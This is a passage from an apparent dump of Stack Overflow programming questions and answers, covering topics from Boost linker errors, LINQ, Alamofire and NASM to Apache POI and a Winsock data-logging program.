(x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_parser.hpp:218: undefined reference to `boost::regex_error::~regex_error()' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:795: undefined reference to `boost::regex_error::regex_error(std::string const&amp;, boost::regex_constants::error_type, int)' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:796: undefined reference to `boost::regex_error::raise() const' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:795: undefined reference to `boost::regex_error::~regex_error()' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:877: undefined reference to `boost::regex_error::regex_error(std::string const&amp;, boost::regex_constants::error_type, int)' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:878: undefined reference to `boost::regex_error::raise() const' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:877: undefined reference to `boost::regex_error::~regex_error()' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:795: undefined reference to `boost::regex_error::~regex_error()' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:877: undefined reference to `boost::regex_error::~regex_error()' make[2]: Leaving directory `/c/Users/Courtney/Documents/Projects/Desktop/HelloBoost' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:942: undefined reference to `boost::regex_error::regex_error(std::string const&amp;, boost::regex_constants::error_type, int)' make[1]: Leaving directory `/c/Users/Courtney/Documents/Projects/Desktop/HelloBoost' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:943: undefined reference to `boost::regex_error::raise() const' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:942: undefined reference to `boost::regex_error::~regex_error()' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:942: undefined reference to `boost::regex_error::~regex_error()' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:1133: undefined reference to `boost::regex_error::regex_error(std::string const&amp;, boost::regex_constants::error_type, int)' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:1134: undefined reference to `boost::regex_error::raise() const' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:1133: undefined reference to `boost::regex_error::~regex_error()' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:1133: undefined reference to `boost::regex_error::~regex_error()' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/perl_matcher_non_recursive.hpp:213: undefined reference to `boost::re_detail::get_mem_block()' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/cpp_regex_traits.hpp:442: undefined reference to `boost::re_detail::get_default_error_string(boost::regex_constants::error_type)' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/cpp_regex_traits.hpp:444: undefined reference to `boost::re_detail::get_default_error_string(boost::regex_constants::error_type)' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/basic_regex_creator.hpp:320: undefined reference to `boost::re_detail::raw_storage::insert(unsigned int, unsigned int)' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/pending/object_cache.hpp:66: undefined reference to `boost::scoped_static_mutex_lock::scoped_static_mutex_lock(boost::static_mutex&amp;, bool)' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/pending/object_cache.hpp:66: undefined reference to `boost::scoped_static_mutex_lock::~scoped_static_mutex_lock()' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/pending/object_cache.hpp:66: undefined reference to `boost::scoped_static_mutex_lock::~scoped_static_mutex_lock()' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/cpp_regex_traits.hpp:625: undefined reference to `boost::re_detail::lookup_default_collate_name(std::string const&amp;)' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/cpp_regex_traits.hpp:667: undefined reference to `boost::re_detail::raise_runtime_error(std::runtime_error const&amp;)' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/cpp_regex_traits.hpp:682: undefined reference to `boost::re_detail::get_default_error_string(boost::regex_constants::error_type)' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/cpp_regex_traits.hpp:1051: undefined reference to `boost::scoped_static_mutex_lock::scoped_static_mutex_lock(boost::static_mutex&amp;, bool)' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/cpp_regex_traits.hpp:1051: undefined reference to `boost::scoped_static_mutex_lock::~scoped_static_mutex_lock()' build/Debug/MinGW-Windows/main.o:c:/Program Files (x86)/boost/boost_1_46_1/boost/regex/v4/cpp_regex_traits.hpp:1051: undefined reference to `boost::scoped_static_mutex_lock::~scoped_static_mutex_lock()' collect2: ld returned 1 exit status make[2]: *** [dist/Debug/MinGW-Windows/helloboost.exe] Error 1 make[1]: *** [.build-conf] Error 2 make: *** [.build-impl] Error 2 BUILD FAILED (exit value 2, total time: 31s) </code></pre>
18156020	0	 <p>I'm not sure I understand fully what is happening in this scenario but here is a solution to your problem:</p> <pre><code>... casper.then(function() { casper.page.close(); casper.page = require('webpage').create(); }); casper.thenOpen('http://www.yahoo.com/', function(response) { this.wait(1000, function() { this.echo(this.getTitle()); }); }); ... </code></pre> <p>close() - "Close the page and releases the memory heap associated with it. Do not use the page instance after calling this." &lt;- This is from the phantomjs documentation. You need to create a new page instance if you want to continue opening sites. Hope this helps!</p>
33575749	0	 <p>Maybe like that? </p> <pre><code>start1 &lt; end2 and start2 &lt; end1 </code></pre> <p>This means: each of the two words begins <em>earlier</em> than the other word ends, so they do overlap </p>
14750533	0	 <p>I have tidied up your query a little (although this won't make a massive amount of difference to performance, and there may be typos as I don't have VS to hand). From your edit it seems you are a little confused by deferred execution in LINQ. <code>callDetailsForNodes</code> does not represent your results - it is a query that will provide your results once it is executed.</p> <p>If you have to do all this querying in process I suggest you add a <code>ToList</code> after the first select and run that in isolation. Then add <code>ToList</code> to the <code>Where</code> clause. Calling <code>ToList</code> will force your query to execute and you will see where the delays are.</p> <p>One final note - you should pass your records directly to <code>ObservableCollection</code> constructor rather than calling <code>Add</code> for each item. Calling <code>Add</code> will (I think) cause the collection to raise a changed notification which is not a big deal for small lists but will slow things down for larger lists.</p> <pre><code>var callDetailsForNodes = dtRowForNode.AsEnumerable() .Select(dr =&gt; new { caller1 = StringComparer.CurrentCultureIgnoreCase.Compare(dr["F1"], dr["F2"]) &lt; 0 ? dr["F1"] : dr["F2"], caller2 = StringComparer.CurrentCultureIgnoreCase.Compare(dr["F1"], dr["F2"]) &lt; 0 ? dr["F2"] : dr["F1"], time = Convert.ToDateTime(dr["F3"]), filters = dr.Field&lt;string&gt;("F9")}) .Where(dr =&gt; (dtMin &lt;= dr.time) &amp;&amp; (dtMax &gt;= dr.time) &amp;&amp; (lstCallType.Contains(dr.filters)) &amp;&amp; (dtMinTime &lt;= dr.time.TimeOfDay) &amp;&amp; (dtMaxTime &gt;= dr.time.TimeOfDay) &amp;&amp; caller1 == VerSelected || caller2 == VerSelected)) .GroupBy(drg =&gt; new { drg.caller1, drg.caller2 }) .Select(drg =&gt; new { drg.Key.caller1, drg.Key.caller2, count = drg.Count()); </code></pre>
5062074	0	How can I capture and stream video from the iPhone's camera? <p>What's the best, most convenient, and most Apple-permitted way of streaming video from the iPhone's camera to a server on the Internet (or local network)?</p> <p>uStream, Qik, Justin.tv, etc.. Are all able to do it, but I'm finding very little love from my searches. It seems that the traditional way of doing it was to use UIGetScreenImage(), but surely there is a more "modern" since video recording is now part of the API.</p>
37296847	0	Type definitions for JavaScript libraries <p>I tried to convert a simple React project from JavaScript to TypeScript, but somehow this doesn't seem to work.</p> <p>First VSCode shows me sometimes that <code>react</code> isn't a module, even if I installed it with typings and added the <code>typings/index.d.ts</code> to the <code>tsconfig.json</code> <code>files</code> list. When I restart VSCode it works after opening a few files, but it never seems to work right away.</p> <p>Then I use <code>history</code> and typings also found a history type definition and installed it, but when I try to import <code>history/lib/createBrowserHistory</code> TypeScript doesn't know anything about it and talks about missing modules again.</p>
20786199	0	 <p>By keeping a circular buffer of runes, you can minimise allocations. Also note that reading a new key from a map returns the zero value (which for int is 0), which means the unknown key check in your code is redundant.</p> <pre><code>func Parse(text string, n int) map[string]int { chars := make([]rune, 2 * n) table := make(map[string]int) k := 0 for _, chars[k] = range strings.Join(strings.Fields(text), " ") + " " { chars[n + k] = chars[k] k = (k + 1) % n table[string(chars[k:k+n])]++ } return table } </code></pre>
23920228	0	 <p>I found a solution that works, though I admit I am not sure exactly how it works. I added the line <code>context.Configuration.ProxyCreationEnabled = false;</code> to my method that returns the object collection and all my objects were returned. I got the code from the following <a href="http://stackoverflow.com/questions/8173524/webapi-with-ef-code-first-generates-error-when-having-parent-child-relation">SO Question - WebApi with EF Code First generates error when having parent child relation</a>.</p> <pre><code>public class ClientsController : ApiController { public IEnumerable&lt;Client&gt; GetAllClients() { using (var context = new MyClientModel.MyEntities()) { context.Configuration.ProxyCreationEnabled = false; // ** New code here ** var query = context.Clients.Where(c =&gt; c.State == "CA"); var customers = query.ToList(); return customers; } } } </code></pre>
32203454	0	 <p>Implement a custom <code>XmlResolver</code> and use it for reading the XML. By default, the <code>XmlUrlResolver</code> is used, which automatically downloads the resolved references.</p> <pre><code>public class CustomResolver : XmlUrlResolver { public override object GetEntity(Uri absoluteUri, string role, Type ofObjectToReturn) { // base calls XmlUrlResolver.DownloadManager.GetStream(...) here } } </code></pre> <p>And use it like this:</p> <pre><code>var settings = new XmlReaderSettings { XmlResolver = new CustomResolver() }; var reader = XmlReader.Create(fileName, settings); var xDoc = XDocument.Load(reader); </code></pre>
35090925	0	 <p>The code with completion block should like this:</p> <pre><code>func getSectionsFromData(completion: ([Sections]? -&gt; Void)){ var sectionsArray = [Sections]() let animals = Sections(title: "Animals", objects: ["Cats", "Dogs", "Birds", "Lions"]) Alamofire.request(.GET, url).validate().responseJSON { response in switch response.result { case .Success: if let value = response.result.value { let json = JSON(value) for (_, subJson) in json { for (_, data) in subJson { for (title, objects) in data { sectionsArray.append(Sections(title: title, objects: objects.self.arrayValue.map { $0.string!})) } } } } sectionsArray.append(animals) completion(sectionsArry) case .Failure(let error): print(error) sectionsArray.append(animals) completion(nil) } } } </code></pre> <p>When you call the func:</p> <pre><code>var sections: [Sections] = [] SectionsData().getSectionsFromData({ sectionsArray in self.sections = sectionsArray //reload your table with sectionsArray }) </code></pre>
12561167	0	 <blockquote> <p>When i click "Cook" it shows an alert "Error occurred [object Object]".</p> </blockquote> <p>The alert method can not display object structures, so you just get <code>[object Object]</code> in that debug attempt.</p> <p>Use <code>console.log(response.error)</code> instead, and then have a look into your browser’s JavaScript console to see what the actual error is.</p>
16822378	0	 <p>I didn't understand your question, do you want dynamic columns? If so, you can do that on the XMLP report or cross table in crystal... Using peopletools, you will have to write a HTML area</p>
28987529	0	How to make a ListView in Windows Phone 8.1 where i can put a handler in each item i choose <p>I'm trying to create a ListView in XAML file by this example:</p> <pre><code>&lt;ListView x:Name="listView1" SelectionChanged="ListView_SelectionChanged"&gt; &lt;x:String&gt;Item 1&lt;/x:String&gt; &lt;x:String&gt;Item 2&lt;/x:String&gt; &lt;/ListView&gt; </code></pre> <p>But, how can I handle it if I click in Item 1 to go to other page?</p>
12864532	0	 <p>Email address is accessible for the authenticated user as long as you request "r_emailaddress" permissions upon authorization.</p> <p>Take a look at the Oauth Login Dialog that's presented to the user to authorize the application. Notice how "email address" isn't presented as one of the profile fields that the application wants to access. You'll need to modify this line in your code:</p> <pre><code>var request = new RestRequest { Path = "requestToken?scope=r_basicprofile+r_emailaddress", }; </code></pre> <p>To this:</p> <pre><code>var request = new RestRequest { Path = "requestToken?scope=r_basicprofile%20r_emailaddress", }; </code></pre> <p>The space should be URL encoded in your request token path. </p> <p>Thanks, Kamyar Mohager</p>
12684381	0	 <p><code>\</code> denotes the start of an escape sequence, so it has to be escaped with another <code>\</code>.</p> <p>To replace globally, you need to use regex, which requires even more character escaping:</p> <pre><code> &gt; 'C:/TEST/'.replace(/\//g, '\\') "C:\TEST\" </code></pre>
27546567	0	What in this code is causing a Seg fault? <p>I am very new to Assembly programming and to learn NASM I decided to try and write a prime number testing. I wrote the code for the <code>is_prime</code> function in 32-bit elf NASM and wrote a wrapper in c++ that uses externs the NASM function. When I compiled both programs to <code>.o</code> files there were no errors, and when I linked the object files to make an executable it linked correctly. However when I try to run it I keep getting a <code>Segmentation Fault</code> error and I have no idea what this actually means or how to correct it. The code that I wrote in NASM looks like this:</p> <pre><code>section .bss n: resb 1 i: resb 1 m: resb 1 section .text global is_prime is_prime: push ebp mov ebp,esp mov eax,[ebp + 8] jmp main main: mov [n],eax mov byte [i],2 mov eax,[i] mov ebx,[n] cmp eax,ebx jge prime mov eax,[i] mov ebx,[n] call mod cmp byte [m],0 je comp jmp main mod: mov ecx,ebx xor edx,edx div ecx mov [m],edx ret comp: mov eax,0 jmp kill prime: mov eax,1 jmp kill kill: ret leave </code></pre> <p>My main question is, am I doing something wrong in my assembly program that is causing this error and if so, how do I fix this? Or is there something wrong in the way I am linking/compiling it? I am using a 64-bit Ubuntu but I used the <code>-m32</code> and <code>-f elf32</code> options while compiling. </p>
3655236	0	 <p>After trying all of the other solutions here without success, I skeptically tried the solution found in <a href="http://www.thescube.com/blog/chrome-background-colour-image-not-showing/" rel="nofollow noreferrer">this article</a>, and got it to work.</p> <p>Essentially, it boils down to removing <code>@charset "utf-8";</code> from your CSS.</p> <p>This seems like a poor implementation in DreamWeaver - but it did fix the issue for me, regardless.</p>
28978759	0	Length check in a handlebars.js {{#if}} conditional <p>Is there a way in <a href="http://handlebarsjs.com/" rel="nofollow">handlebars</a> JS to check length of a value? Something like this:</p> <pre><code>{{#if value.length &gt; 20} ..do something {{else}} ..do something {{/if}} </code></pre>
10277663	0	How to handle exception in wicket <p>my code:</p> <pre><code>try { LinkedDataForm form = webService.process(searchForm, path); add(new ExternalLink("url", form.getUrl(), form.getUrl())); } catch (Exception e) { add(new Label("error", e.getMessage())); } </code></pre> <p>where: </p> <pre><code>@SpringBean(name = "webService") WebService webService; </code></pre> <p>and my html page looks like:</p> <pre><code>&lt;a wicket:id="url"&gt;url&lt;/a&gt; &lt;p wicket:id="error"/&gt; </code></pre> <p>the problem is in html page that I have url or error and then wicket return exception: <code>Unable to find component with id 'error' in ...</code> how I can solve this problem</p>
11571834	0	How to remove duplicate users from a list but amalgamate their roles <p>Say I have a list of People who have a name and a list of roles:</p> <p>Each item in the list is of type PersonDetails:</p> <pre><code>public class PersonDetails { public int Id { get; set; } public string Name { get; set; } public List&lt;Role&gt; Roles { get; set; } } public class Role { public string Name { get; set; } } </code></pre> <p>So in my list of these items I might have the following:</p> <ol> <li>Id 23 Eric whose roles contains a role with Role.Name = "Manager"</li> <li>Id 23 Eric whose roles contains a role with Role.Name = "CEO"</li> <li>Id 23 Eric whose roles contains a role with Role.Name = "CIO"</li> </ol> <p>so that is how it is currently but because it is the same person I want my list to be:</p> <ol> <li>Id 23 Eric whose roles contains "Manager", "CEO", "CIO"</li> </ol> <p>Can anyone tell me how to change my list of items to be like this?</p>
16929265	0	 <p>You should just join tables <br></p> <pre><code>SELECT * FROM `affiliate_information` a_i LEFT JOIN `affiliate_tasks` a_t ON a_i.`username` = a_t.`username` WHERE a_i.`username` = 'SomeUsername' </code></pre>
20131926	0	 <p>Here's a working example made from following <a href="https://developers.facebook.com/docs/plugins/like-button/" rel="nofollow">Facebooks developer guidelines for the Like button</a>. Place this right after the opening body tag: </p> <pre><code> &lt;div id="fb-root"&gt;&lt;/div&gt; &lt;script&gt;(function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/en_US/all.js#xfbml=1"; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'facebook-jssdk'));&lt;/script&gt; &lt;div class="fb-like" data-href="https://www.facebook.com/MagnoliaRV" data-layout="standard" data-action="like"&gt;&lt;/div&gt; </code></pre>
23091328	0	cannot find javax.swing.JPanel <p>I'm a novice in java coding. Just downloaded the JDK 8 and Eclipse java ee ide.</p> <p>eclipse cannot find JPanel.</p> <p>the error says the JPanel has an access restriction. </p> <p>how do I fix this?</p> <p>here is my program</p> <pre><code>import java.awt.*; import java.awt.event.*; import javax.swing.*; public class purcellm26try2 extends JPanel { public void paintComponent(Graphics g){ super.paintComponent(g); this.setBackground(Color.WHITE); g.setColor(Color.WHITE); } } </code></pre> <p>I can rephrase my question if users don't understand. Thank you</p>
39252713	0	 <p>I think the error is <code>OnUpdate()</code> in <code>WithinSight</code> class. When you do the return it never does this <code>gameObject.tag = "Untagged";</code></p> <p>Change the order of the lines like this.</p> <pre><code>public override TaskStatus OnUpdate() { for (int i = 0; i &lt; possibleTargets.Length; ++i) { if (withinSight(possibleTargets [i], fieldOfViewAngle)) { target.Value = possibleTargets [i]; gameObject.tag = "Untagged"; return TaskStatus.Success; } } return TaskStatus.Failure; } </code></pre> <p>I can't reproduce this scenario, but this code won´t go back to a previuos cube. In case you want that you should save a reference of the last cube the sphere moved towards and do the comparisons in <code>OnUpdate()</code> of <code>WithinSight</code>.</p>
2129546	0	best practices in naming session variables <p>I was used to naming my session variables the "normal" way, kinda like when I want to keep track of user details, I name them:</p> <ul> <li><code>$_SESSION['username']</code></li> <li><code>$_SESSION['email']</code> </li> <li><code>$_SESSION['id']</code></li> </ul> <p>I am worried that they may be in conflict with other session data when I am browsing sites in the same browser, or will there not be any conflict at all(once I tried to simultaneously run two of my projects with the same session variables, residing in the same server, and obviously, things got real messy).</p>
37819064	0	 <p><a href="https://jsfiddle.net/tmf773ab/" rel="nofollow">Is this the one you expecting?</a> <ul> <li>Item 1</li> <li>Item 2</li> <li>Item 3</li> </ul> Scroll me... </p> </p> <pre><code>body { margin: 0; } nav { background: rgba(53, 145, 204, 0); position: fixed; top: 0; width: 100%; } nav ul &gt; li { display: inline-block; } .container { height: 1000px; margin-top: 100px; } $(document).scroll(function() { var dHeight = $(this).height()-$(window).height(); if (dHeight &gt;= $(this).scrollTop()) { $('nav').css('background', 'rgba(53,145,204,' + $(this).scrollTop() + ')'); } }); </code></pre>
36409821	0	 <p>Since it is not clear what your requirements are, I will assume that what you really want to use is a <a href="https://msdn.microsoft.com/en-us/library/system.componentmodel.backgroundworker(v=vs.110).aspx" rel="nofollow">BackgroundWorker</a>. The following also have samples.</p> <p><a href="https://msdn.microsoft.com/en-us/library/a3zbdb1t(v=vs.110).aspx" rel="nofollow">BackgroundWorker.ReportProgress Method (Int32, Object) (System.ComponentModel)</a></p> <p><a href="https://msdn.microsoft.com/en-us/library/ywkkz4s1.aspx?cs-save-lang=1" rel="nofollow">Walkthrough: Multithreading with the BackgroundWorker Component (C# and Visual Basic)</a></p> <p><a href="https://msdn.microsoft.com/en-us/library/hybbz6ke(v=vs.110).aspx?cs-save-lang=1" rel="nofollow">How to: Run an Operation in the Background</a></p>
37072932	0	 <p>Calculating out of basic logic, theoretically 1 GHz can do 1 billion calculations/second. </p> <p>Time for 10 quadrillion calculations would mean, 10 quadrillion/1 billion</p> <p>So calculate it through and you will find that it will take approximetly 115 days to complete</p> <pre><code>10,000,000,000,000,000 / 1,000,000,000 = 10,000,000 seconds 10,000,000 seconds = 166,667 minutes 166,667 minutes = 2778 hours 2778 hours = 115 days </code></pre> <p>But this is all theoretical</p>
26476745	0	 <p><strong>Steps, Using Apache POI :</strong></p> <ol> <li><p>Open excel file in input mode (inputstream)</p></li> <li><p>Use POI API and read the excel content</p></li> <li><p>Update cell’s value using different setCellValue methods.</p></li> <li><p>Close the excel input file (inputstream)</p></li> <li><p>Open same excel file in output mode (outputstream)</p></li> <li><p>Write content of updated workbook in output file</p></li> <li><p>Close output excel file</p></li> </ol> <p><strong>Sample:</strong></p> <pre><code>try { FileInputStream file = new FileInputStream(new File("C:\\update.xls")); HSSFWorkbook workbook = new HSSFWorkbook(file); HSSFSheet sheet = workbook.getSheetAt(0); Cell cell = null; //Update the value of cell cell = sheet.getRow(1).getCell(2); cell.setCellValue(cell.getNumericCellValue() * 2); cell = sheet.getRow(2).getCell(2); cell.setCellValue(cell.getNumericCellValue() * 2); cell = sheet.getRow(3).getCell(2); cell.setCellValue(cell.getNumericCellValue() * 2); file.close(); FileOutputStream outFile =new FileOutputStream(new File("C:\\update.xls")); workbook.write(outFile); outFile.close(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } </code></pre>
14946185	0	 <p>I think you may have a couple of issues here ...</p> <p>First I think your template call is non syntactically correct:</p> <pre><code>$("#tmplFeatures").tmpl(template1).appendTo("carouseldata"); </code></pre> <p>Should (according to the documentation) look like this:</p> <pre><code>$.tmpl( "tmplFeatures", template1).appendTo("carouseldata"); </code></pre> <p>But I'm not sure that you can pass HTML (template1) as the 'data' parameter for the <code>.tmpl()</code> method:</p> <p><a href="https://github.com/jquery/jquery-tmpl" rel="nofollow">https://github.com/jquery/jquery-tmpl</a></p> <p><strong>UPDATE</strong></p> <p>Looking more closely at your code above, it does not appear that you are passing any data to the <code>.tmpl()</code> call. It's not clear what the following line returns, but this should be the iterable data your template will be used to display.</p> <pre><code>var template1 = $(templates).filter("tmplFeatures").html(); </code></pre> <p>And this looks like (possibly) another representation of the template.</p>
32345378	0	Using PHPUnit installed globally with Silex project <p>I have global PHPUnit composer installation in </p> <pre><code>*~/.composer/vendor/phpunit*. </code></pre> <p>I want to use this installation to run tests from Silex application. Test files need to use project's <code>*vendor/autoload.php*</code> to load classes which will be tested at least, while global PHPUnit needs to load it's own <code>*~/.composer/vendor/autoload.php*.</code></p> <p>So in the project's tests I can't use PHPUnit autoloaded classes. So do I need to install PHPUnit to the project? But it looks like overkill while I have global PHPUnit. So, any help?</p>
28706129	0	 <p>You need to change the jQuery code like this:</p> <pre><code>$(document).ready(function(){ var eventChoice = $('#test'), prodInterest = $('#productInterest'); eventChoice.change(function(){ var str = ""; $('#test option:selected').each(function(){ str += "Channel &amp; TR Event Reg - " + $(this).text(); }); prodInterest.val( str ); }); }); </code></pre> <p>Notice the removal of <code>change()</code> after the binding which caused it to trigger the change right after the binding was done.</p> <p>Code version when selected option is blank:</p> <pre><code>$(document).ready(function(){ var eventChoice = $('#test'), prodInterest = $('#productInterest'); eventChoice.change(function(){ var str = ""; $('#test option:selected').each(function(){ if ($(this).val() != "") { str += "Channel &amp; TR Event Reg - " + $(this).text(); } }); prodInterest.val( str ); }); }); </code></pre>
30331922	0	 <p>I think your <code>screenHeightInWorld</code> is really a <code>screenTopInWorld</code>, a point can be anywhere in the space.</p> <p>You need the relative <strong>screen height in world</strong> coordinate. Which is actially the <strong>half of the camera frustum size</strong> if you use ortographic projection, as you think of it.</p> <p><code>float screenHeightInWorld = Camera.main.orthographicSize / 2.0f;</code></p> <p>I did not read the rest, but is probably fine, up to you how you implement this. I'd simply create an arrow method, something like <code>bool SpawnArrowAboveIfFits()</code>, which can call itself iteratively on the new instances.</p>
24469521	0	 <p>Something like this:</p> <pre><code>#!/bin/bash for i in one; do n=$(echo $i | wc -c) echo $n done </code></pre>
22673429	0	 <p>The <code>LayoutAnchorablePaneControl</code> (or any <code>TabControl</code> for that matter) has a property <code>TabStripPlacement</code> which you can set to <code>Top</code>. See the VS2010 <a href="http://avalondock.codeplex.com/SourceControl/latest#Version2.0/Xceed.Wpf.AvalonDock.Themes.VS2010/Theme.xaml" rel="nofollow">Theme.xaml</a></p>
40467503	0	 <p>Timelion uses pre-defined time intervals for its time plots. In order to plot the "value" as function of time you can set the granularity to 'Auto' and use this string:</p> <pre><code> .es(metric='max:value') </code></pre> <p>You can also set the granularity to the minimum possible and add <code>.fit(carry)</code> to the above string in order to fill null values, in that case you can replace <code>max</code> with <code>min</code> or <code>avg</code>, it will produce the same plot (<code>sum</code> won't work here).</p>
31205776	0	restart broken tcp connection in windows using winsock 2 lib <p>am working on a c program that should log data from a norma 5000, but it seams like the normas tcpconnection randomly closes after an arbitary time (0.2-6h) but i need to log longer than that. </p> <p>when it Closes the Connection i can just restart program and it will continue to log. so i got the idea of just restarting my socket when the tcpconnection breaks. but my restart dosent work every time.. the function i Think you want to look at is shutdownCon, init and main.</p> <p>my question is: what am i doing wrong?</p> <p>winsock errors i get when the tcp Connection stops working 10053 (WSAECONNABORTED) or 10054 (WSAECONNRESET).</p> <p><a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668(v=vs.85).aspx" rel="nofollow">https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668(v=vs.85).aspx</a></p> <pre><code>#pragma comment(lib, "Ws2_32.lib") #define WIN 1 #define debug 1 #include &lt;winsock2.h&gt; #include &lt;windows.h&gt; #include &lt;stdio.h&gt; #include &lt;sys/timeb.h&gt; #include &lt;time.h&gt; #define HOST "192.168.0.101" #define PORT 23 #define SOCKET_HANDLE_FMT_PFX "" #define SOCKET_HANDLE_FMT "u" /* "%u" - 'typedef u_int SOCKET' */ typedef SOCKET socket_handle_t; typedef struct { socket_handle_t h; } *socket_t; /**************************************************************************** **/ static void Delay(double seconds) { Sleep((DWORD)(seconds * 1000)); } /**************************************************************************** **/ void wsa_error(char *func,int error) { fprintf(stderr,"%s() failed, error %d\n", func,error == -1 ? WSAGetLastError() : error); int c; /* must be int to hold EOF */ while((c = getchar()) != '\n' &amp;&amp; c != EOF); } /**************************************************************************** **/ int socket_setup(void) { #if WIN WSADATA wsaData; int wsaerrno; /* * Initialize Windows Socket DLL */ if ( (wsaerrno = WSAStartup( MAKEWORD(1,1), /* at least version 1.1 */ &amp;wsaData)) != 0 ) { wsa_error("WSAStartup",wsaerrno); return -1; } #endif /* WIN */ return 0; /* OK */ } /**************************************************************************** **/ int socket_cleanup(void) { #if WIN if ( WSACleanup() == SOCKET_ERROR ) wsa_error("WSACleanup",-1); #endif return 0; /* OK */ } /**************************************************************************** **/ socket_t socket_create(void) { socket_handle_t sh; socket_t s; sh = socket(AF_INET,SOCK_STREAM,0); #if WIN if ( sh == INVALID_SOCKET ) { wsa_error("socket",-1); return NULL; } #endif s = calloc(1,sizeof(*s)); if ( !s ) return NULL; s-&gt;h = sh; return s; /* OK */ } /**************************************************************************** **/ int socket_connect(socket_t s,struct sockaddr *addr,int addrlen) { int ret = 0; /* OK */ #if WIN if ( connect(s-&gt;h,addr,addrlen) == SOCKET_ERROR ) { wsa_error("connect",-1); return -1; } #endif return 0; /* OK */ } /**************************************************************************** **/ int socket_recv(socket_t s,void *buf,int len,int flags) { register int l; #if WIN l = recv(s-&gt;h,buf,len,flags); if ( l == SOCKET_ERROR ) { wsa_error("recv",-1); return -1; } #endif return l; } /**************************************************************************** **/ int socket_send(socket_t s,void *buf,int len,int flags) { register int slen; /* sent length */ #if WIN slen = send(s-&gt;h,buf,len,flags); if ( slen == SOCKET_ERROR ) { wsa_error("send",-1); return -1; } #endif return slen; } /**************************************************************************** **/ int socket_puts(socket_t s,char *str) { char buf[1024]; strcpy(buf,str); strcat(buf,"\n"); if ( socket_send(s,buf,strlen(buf),0) &lt; 0 ) return -1; return 0; } /**************************************************************************** **/ int socket_gets(socket_t s,char *str) { char buf[1024]; char *p; if ( socket_recv(s,buf,sizeof(buf),0) &lt; 0 ) return -1; if ( (p = memchr(buf,'\n',sizeof(buf))) != NULL ) { if ( p &gt; buf &amp;&amp; p[-1] == '\r' ) p--; *p = '\0'; } else buf[sizeof(buf)-1] = '\0'; strcpy(str,buf); return strlen(str); } /**************************************************************************** **/ /*is some thing wrong here?*/ int shutdownCon(socket_t s){ char buff[1024]; if (shutdown(s-&gt;h,2)== SOCKET_ERROR) { wsa_error("shutdownCon",-1); return -1; } while(socket_gets(s,buff)&gt; 1); if(closesocket(s-&gt;h) == SOCKET_ERROR) { wsa_error("shutdownCon",-1); return -1; } socket_cleanup(); return 0; } /*is some thing wrong here?*/ int init(socket_t *s){ struct sockaddr_in saddr; struct sockaddr_in *addr_in = (struct sockaddr_in *)&amp;saddr; /* socket (TCP/IP) API initialization: */ if ( socket_setup() &lt; 0 ) return -1; /* * Connect to the instrument: */ /* set destination IP address and TCP port: */ memset(addr_in,0,sizeof(struct sockaddr_in)); addr_in-&gt;sin_family = AF_INET; addr_in-&gt;sin_port = htons(PORT); addr_in-&gt;sin_addr.s_addr = inet_addr(HOST); /* create socket: */ *s = socket_create(); if ( !*s ) return -1; #if debug fprintf(stderr,"socket_connect() ...\n"); #endif if 